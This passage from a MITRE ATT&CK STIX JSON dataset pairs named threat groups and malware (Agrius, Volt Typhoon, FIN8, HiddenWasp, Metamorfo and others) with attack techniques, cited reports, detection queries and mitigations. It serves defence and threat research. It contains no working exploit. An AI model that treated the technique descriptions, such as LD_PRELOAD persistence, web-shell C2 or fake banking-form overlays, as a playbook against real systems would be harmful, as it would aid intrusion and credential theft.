2020)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5a3333ef-b106-42db-b0bb-46b2ac7c21b2","created":"2024-05-22T22:26:56.853Z","revoked":false,"external_references":[{"source_name":"Unit42 Agrius 2023","description":"Or Chechik, Tom Fakterman, Daniel Frank & Assaf Dahan. (2023, November 6). Agonizing Serpens (Aka Agrius) Targeting the Israeli Higher Education and Tech Sectors. Retrieved May 22, 2024.","url":"https://unit42.paloaltonetworks.com/agonizing-serpens-targets-israeli-tech-higher-ed-sectors/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-22T22:26:56.854Z","description":"[Agrius](https://attack.mitre.org/groups/G1030) has used the folder, C:\\\\windows\\\\temp\\\\s\\\\, to stage data for exfiltration.(Citation: Unit42 Agrius 2023)","relationship_type":"uses","source_ref":"intrusion-set--b8137919-38cb-4db0-90f3-437be885faba","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5a347320-15ce-40b9-8b9f-05f7c0c3ff9c","created":"2023-08-04T18:30:24.671Z","revoked":false,"external_references":[{"source_name":"Secureworks BRONZE SILHOUETTE May 2023","description":"Counter Threat Unit Research Team. (2023, May 24). Chinese Cyberespionage Group BRONZE SILHOUETTE Targets U.S. Government and Defense Organizations. Retrieved July 27, 2023.","url":"https://www.secureworks.com/blog/chinese-cyberespionage-group-bronze-silhouette-targets-us-government-and-defense-organizations"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-04T18:30:24.671Z","description":"[Volt Typhoon](https://attack.mitre.org/groups/G1017) has used a version of the Awen web shell that employed AES encryption and decryption for C2 communications.(Citation: Secureworks BRONZE SILHOUETTE May 2023)","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5a34e6af-f5e1-4191-aec0-06a92201f414","created":"2023-10-12T20:42:22.067Z","revoked":false,"external_references":[{"source_name":"Unit42 OceanLotus 2017","description":"Erye Hernandez and Danny Tsechansky. (2017, June 22). The New and Improved macOS Backdoor from OceanLotus. Retrieved September 8, 2023.","url":"https://unit42.paloaltonetworks.com/unit42-new-improved-macos-backdoor-oceanlotus/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-12T20:42:22.067Z","description":"[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) has used a custom binary protocol over TCP port 443 for C2.(Citation: Unit42 OceanLotus 2017)","relationship_type":"uses","source_ref":"malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29","target_ref":"attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5a374aec-ae82-4c99-bbc2-34c4050a9932","created":"2020-03-17T14:22:49.622Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye Obfuscation June 2017","description":"Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February 12, 2018.","url":"https://web.archive.org/web/20170923102302/https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html"},{"source_name":"FireEye Know Your Enemy FIN8 Aug 2016","description":"Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.","url":"https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html"},{"source_name":"FireEye Fin8 May 2016","description":"Kizhakkinan, D., et al. (2016, May 11). Threat Actor Leverages Windows Zero-day Exploit in Payment Card Data Attacks. Retrieved February 12, 2018.","url":"https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-19T13:31:34.138Z","description":"[FIN8](https://attack.mitre.org/groups/G0061) has used emails with malicious links to lure victims into installing malware.(Citation: FireEye Obfuscation June 2017)(Citation: FireEye Fin8 May 2016)(Citation: FireEye Know Your Enemy FIN8 Aug 2016)","relationship_type":"uses","source_ref":"intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5a393124-ffca-447e-b230-468f2c57e023","created":"2023-02-23T18:17:27.225Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitdefender LuminousMoth July 2021","description":"Botezatu, B and etl. (2021, July 21). LuminousMoth - PlugX, File Exfiltration and Persistence Revisited. Retrieved October 20, 2022.","url":"https://www.bitdefender.com/blog/labs/luminousmoth-plugx-file-exfiltration-and-persistence-revisited"},{"source_name":"Kaspersky LuminousMoth July 2021","description":"Lechtik, M, and etl. (2021, July 14). LuminousMoth APT: Sweeping attacks for the chosen few. Retrieved October 20, 2022.","url":"https://securelist.com/apt-luminousmoth/103332/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-10T16:19:00.594Z","description":"[LuminousMoth](https://attack.mitre.org/groups/G1014) has downloaded additional malware and tools onto a compromised host.(Citation: Kaspersky LuminousMoth July 2021)(Citation: Bitdefender LuminousMoth July 2021)","relationship_type":"uses","source_ref":"intrusion-set--b7f627e2-0817-4cd5-8d50-e75f8aa85cc6","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5a415555-1367-47dd-9757-88a86430cf49","type":"relationship","created":"2020-08-13T14:58:25.308Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks Karagany July 2019","url":"https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector","description":"Secureworks. (2019, July 24). Updated Karagany Malware Targets Energy Sector. Retrieved August 12, 2020."}],"modified":"2020-08-13T14:58:25.308Z","description":"[Trojan.Karagany](https://attack.mitre.org/software/S0094) can capture information regarding the victim's OS, security, and hardware configuration.(Citation: Secureworks Karagany July 2019)","relationship_type":"uses","source_ref":"malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5a49400c-2003-463c-8e6e-97b79f560675","type":"relationship","created":"2019-06-10T16:34:59.315Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Meyers Numbered Panda","description":"Meyers, A. (2013, March 29). Whois Numbered Panda. Retrieved January 14, 2016.","url":"http://www.crowdstrike.com/blog/whois-numbered-panda/"}],"modified":"2020-03-20T19:45:34.796Z","description":"[APT12](https://attack.mitre.org/groups/G0005) has used blogs and WordPress for C2 infrastructure.(Citation: Meyers Numbered Panda)","relationship_type":"uses","source_ref":"intrusion-set--c47f937f-1022-4f42-8525-e7a4779a14cb","target_ref":"attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5a49f6f3-7820-4be1-90b3-5c559745b04c","type":"relationship","created":"2022-03-30T14:26:51.852Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.852Z","description":"Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--8c41090b-aa47-4331-986b-8c9a51a91103","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5a4abc29-8750-4fad-a7b8-c10bd8b1da8a","created":"2024-09-06T21:52:11.133Z","revoked":false,"external_references":[{"source_name":"CISA GRU29155 2024","description":"US Cybersecurity & Infrastructure Security Agency et al. (2024, September 5). Russian Military Cyber Actors Target U.S. and Global Critical Infrastructure. Retrieved September 6, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-09/aa24-249a-russian-military-cyber-actors-target-us-and-global-critical-infrastructure.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-06T21:52:11.133Z","description":"[Ember Bear](https://attack.mitre.org/groups/G1003) has acquired malware and related tools from dark web forums.(Citation: CISA GRU29155 2024)","relationship_type":"uses","source_ref":"intrusion-set--a7f57cc1-4540-4429-823f-f4e56b8473c9","target_ref":"attack-pattern--7807d3a4-a885-4639-a786-c1ed41484970","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5a4c3eb5-9ea2-4e7d-ae9d-d4f0a45c4803","type":"relationship","created":"2020-03-19T20:01:37.883Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Intezer HiddenWasp Map 2019","url":"https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/","description":"Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted Linux Systems. Retrieved June 24, 2019."}],"modified":"2020-03-19T20:01:37.883Z","description":"[HiddenWasp](https://attack.mitre.org/software/S0394) adds itself as a shared object to the LD_PRELOAD environment variable.(Citation: Intezer HiddenWasp Map 2019)","relationship_type":"uses","source_ref":"malware--fc774af4-533b-4724-96d2-ac1026316794","target_ref":"attack-pattern--633a100c-b2c9-41bf-9be5-905c1b16c825","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5a4eaa40-8146-4377-84da-dd47cca37245","created":"2022-07-11T20:38:08.396Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-17T16:30:43.814Z","description":"Monitor for deletion of generated artifacts on a host system, including logs or captured files such as quarantined emails. \n\nOn Windows 10, mail application data is stored in C:\\Users\\Username\\AppData\\Local\\Comms\\Unistore\\data. On Linux, mail data is stored in /var/spool/mail or /var/mail. On macOS, mail data is stored in ~/Library/Mail.","relationship_type":"detects","source_ref":"x-mitre-data-component--e905dad2-00d6-477c-97e8-800427abd0e8","target_ref":"attack-pattern--438c967d-3996-4870-bfc2-3954752a1927","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5a54aabe-e485-4a01-b284-cb080b11582b","type":"relationship","created":"2020-08-13T16:51:23.585Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye Hancitor","url":"https://www.fireeye.com/blog/threat-research/2016/09/hancitor_aka_chanit.html","description":"Anubhav, A., Jallepalli, D. (2016, September 23). Hancitor (AKA Chanitor) observed using multiple attack approaches. Retrieved August 13, 2020."}],"modified":"2020-09-02T19:29:12.507Z","description":"[Hancitor](https://attack.mitre.org/software/S0499) has used PowerShell to execute commands.(Citation: FireEye Hancitor)","relationship_type":"uses","source_ref":"malware--ef2247bf-8062-404b-894f-d65d00564817","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5a56cf34-c344-4b2a-ac9e-4f08f049d7ce","type":"relationship","created":"2020-10-21T17:01:35.472Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye Metamorfo Apr 2018","url":"https://www.fireeye.com/blog/threat-research/2018/04/metamorfo-campaign-targeting-brazilian-users.html","description":"Sierra, E., Iglesias, G.. (2018, April 24). Metamorfo Campaigns Targeting Brazilian Users. Retrieved July 30, 2020."}],"modified":"2020-10-21T17:01:35.472Z","description":"[Metamorfo](https://attack.mitre.org/software/S0455) has displayed fake forms on top of banking sites to intercept credentials from victims.(Citation: FireEye Metamorfo Apr 2018) ","relationship_type":"uses","source_ref":"malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2","target_ref":"attack-pattern--a2029942-0a85-4947-b23c-ca434698171d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5a56f203-5537-4dd1-a08d-db4526bf75bd","created":"2024-09-17T19:15:26.744Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitsight Latrodectus June 2024","description":"Batista, J. (2024, June 17). Latrodectus, are you coming back?. Retrieved September 13, 2024.","url":"https://www.bitsight.com/blog/latrodectus-are-you-coming-back"},{"source_name":"Latrodectus APR 2024","description":"Proofpoint Threat Research and Team Cymru S2 Threat Research. (2024, April 4). Latrodectus: This Spider Bytes Like Ice . Retrieved May 31, 2024.","url":"https://www.proofpoint.com/us/blog/threat-insight/latrodectus-spider-bytes-ice"},{"source_name":"Elastic Latrodectus May 2024","description":"Stepanic, D. and Bousseaden, S. (2024, May 15). Spring Cleaning with LATRODECTUS: A Potential Replacement for ICEDID. Retrieved September 13, 2024.","url":"https://www.elastic.co/security-labs/spring-cleaning-with-latrodectus"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-18T19:51:21.618Z","description":"[Latrodectus](https://attack.mitre.org/software/S1160) has the ability to deobfuscate encrypted strings.(Citation: Latrodectus APR 2024)(Citation: Elastic Latrodectus May 2024)(Citation: Bitsight Latrodectus June 2024)","relationship_type":"uses","source_ref":"malware--76fde8df-3495-47c9-82eb-125c4f7fb621","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5a580cd0-19f1-41d6-865b-786a41081a7e","type":"relationship","created":"2020-03-09T13:48:55.802Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-01-24T20:34:05.703Z","description":"It may be possible to remove PowerShell from systems when not needed, but a review should be performed to assess the impact to an environment, since it could be in use for many legitimate purposes and administrative functions.\n\nDisable/restrict the WinRM Service to help prevent uses of PowerShell for remote execution.","relationship_type":"mitigates","source_ref":"course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5a5914f0-4e99-494b-bcf3-b199f623e36d","type":"relationship","created":"2022-03-26T03:47:59.085Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mythc Documentation","url":"https://docs.mythic-c2.net/","description":"Thomas, C. (n.d.). Mythc Documentation. Retrieved March 25, 2022."}],"modified":"2022-03-26T03:47:59.085Z","description":"[Mythic](https://attack.mitre.org/software/S0699) can leverage a peer-to-peer C2 profile between agents.(Citation: Mythc Documentation)\t\t","relationship_type":"uses","source_ref":"tool--d505fc8b-2e64-46eb-96d6-9ef7ffca5b66","target_ref":"attack-pattern--f6dacc85-b37d-458e-b58d-74fc4bbf5755","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5a5abca2-6e7c-4714-a7e0-88d05885bb57","created":"2022-03-30T14:26:51.865Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-04T19:03:50.763Z","description":"Monitor for user accounts logged into systems associated with RDP (ex: Windows EID 4624 Logon Type 10). Other factors, such as access patterns (ex: multiple systems over a relatively short period of time) and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP.\n\nMonitoring logon and logoff events for hosts on the network is very important for situational awareness. This information can be used as an indicator of unusual activity as well as to corroborate activity seen elsewhere.\n\nCould be applied to a number of different types of monitoring depending on what information is desired. Some use cases include monitoring for all remote connections and building login timelines for users. Logon events are Windows Event Code 4624 for Windows Vista and above, 518 for pre-Vista. Logoff events are 4634 for Windows Vista and above, 538 for pre-Vista.\n\nNote: This analytic looks for user logon events and filters out the top 30 account names to reduce the occurrence of noisy service accounts and the like. It is meant as a starting point for situational awareness around such events. This is liable to be quite noisy and will need tweaking, especially in terms of the number of top users filtered out.\n\nAnalytic 1\n\nsourcetype=\"WinEventLog:Security\" EventCode IN (4624, 4634, 4647, 4778, 4779)\n| search LogonType=10 // RDP Interactive Logon\n| eval is_suspicious=if((user!=\"expected_users\") AND (dest_ip!=\"expected_servers\"), \"True\", \"False\")\n| where is_suspicious=\"True\"","relationship_type":"detects","source_ref":"x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5","target_ref":"attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5a5d0520-7bee-4517-81f0-4710d99ac92b","type":"relationship","created":"2022-03-30T14:26:51.860Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.860Z","description":"Monitor requests of new ticket granting ticket or service tickets to a Domain Controller. Windows Security events such as 4768 (A Kerberos authentication ticket (TGT) was requested) and 4769 (A Kerberos service ticket was requested) combined with logon session creation information may be indicative of an overpass the hash attempt.","source_ref":"x-mitre-data-component--02d090b6-8157-48da-98a2-517f7edd49fc","target_ref":"attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5a67ece5-7409-4eb5-8c64-4a67e2f52776","type":"relationship","created":"2020-03-09T14:15:05.754Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-09T14:15:05.754Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56","target_ref":"attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5a683179-f1fc-4113-b157-2c0a03f82083","created":"2022-03-30T14:26:51.854Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-04T14:19:43.169Z","description":"Monitor and investigate attempts to modify ACLs and file/directory ownership. Consider enabling file/directory permission change auditing on folders containing key binary/configuration files.\n\nThis looks for any invocations of chmod. Note that this is likely to be more noisy than the Windows-specific implementation, although Linux does not generate logs for system triggered activities like in Windows. In addition, it may be necessary to whitelist cron jobs that regularly run and execute chmod.\n\nLinux environment logs can be more noisy than the Windows-specific implementation, although Linux does not generate logs for system triggered activities like in Windows. In addition, it may be necessary to whitelist cron jobs that regularly run and execute chmod.\n\nAnalytic 1 - Access Permission Modification for Linux\n\nsourcetype=linux_logs CommandLine=\"chmod*\"","relationship_type":"detects","source_ref":"x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5","target_ref":"attack-pattern--09b130a2-a77e-4af0-a361-f46f9aad1345","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5a6942dc-eab7-4f45-b5fa-6149774e2acc","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"PWC Cloud Hopper Technical Annex April 2017","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.","url":"https://www.pwc.co.uk/cyber-security/pdf/pwc-uk-operation-cloud-hopper-technical-annex-april-2017.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:14:18.622Z","description":"[menuPass](https://attack.mitre.org/groups/G0045) has used the Microsoft administration tool csvde.exe to export Active Directory data.(Citation: PWC Cloud Hopper Technical Annex April 2017)","relationship_type":"uses","source_ref":"intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f","target_ref":"attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5a6a649a-5c23-4c2c-852a-d7df27abcf6c","created":"2024-05-17T13:19:39.872Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"RedCanary RaspberryRobin 2022","description":"Lauren Podber and Stef Rand. (2022, May 5). Raspberry Robin gets the worm early. Retrieved May 17, 2024.","url":"https://redcanary.com/blog/threat-intelligence/raspberry-robin/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-16T17:52:56.134Z","description":"[Raspberry Robin](https://attack.mitre.org/software/S1130) has historically been delivered via infected USB drives containing a malicious LNK object masquerading as a legitimate folder.(Citation: RedCanary RaspberryRobin 2022)","relationship_type":"uses","source_ref":"malware--4e385fa6-ebe0-43fc-9ccf-5b51b5dc4d79","target_ref":"attack-pattern--208884f1-7b83-4473-ac22-4e1cf6c41471","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5a70a968-618c-489e-8087-eabca740aa3a","type":"relationship","created":"2020-03-13T14:10:43.564Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-09-16T16:56:34.867Z","description":"Ensure that proper permissions and directory access control are set to deny users the ability to write files to the top-level directory C: and system directories, such as C:\\Windows\\, to reduce places where malicious files could be placed for execution. Require that all executables be placed in write-protected directories.","relationship_type":"mitigates","source_ref":"course-of-action--987988f0-cf86-4680-a875-2f6456ab2448","target_ref":"attack-pattern--0c2d00da-7742-49e7-9928-4514e5075d32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5a72e713-c8fb-4438-9a08-0ded824381dd","type":"relationship","created":"2020-01-24T15:01:33.185Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-11T18:52:50.017Z","description":"Odbcconf.exe may not be necessary within a given environment.","relationship_type":"mitigates","source_ref":"course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31","target_ref":"attack-pattern--6e3bd510-6b33-41a4-af80-2d80f3ee0071","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--5a73d370-7d3d-45ff-b096-acd5bcacad08","created":"2022-07-07T14:47:27.297Z","x_mitre_version":"0.1","external_references":[{"source_name":"Microsoft POLONIUM June 2022","url":"https://www.microsoft.com/security/blog/2022/06/02/exposing-polonium-activity-and-infrastructure-targeting-israeli-organizations/","description":"Microsoft. (2022, June 2). Exposing POLONIUM activity and infrastructure targeting Israeli organizations. Retrieved July 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[CreepyDrive](https://attack.mitre.org/software/S1023) can use OneDrive for C2.(Citation: Microsoft POLONIUM June 2022)","modified":"2022-08-08T20:11:23.492Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--750eb92a-7fdf-451e-9592-1d42357018f1","target_ref":"attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5a742223-f67f-447f-af86-5ed546f8476b","type":"relationship","created":"2020-10-02T16:27:55.863Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-02T16:27:55.863Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--6ee2dc99-91ad-4534-a7d8-a649358c331f","target_ref":"attack-pattern--937e4772-8441-4e4a-8bf0-8d447d667e23","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5a76872f-862b-414c-a71d-f0dc39a6c3b4","type":"relationship","created":"2020-11-25T21:00:56.154Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US District Court Indictment GRU Unit 74455 October 2020","url":"https://www.justice.gov/opa/press-release/file/1328521/download","description":"Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 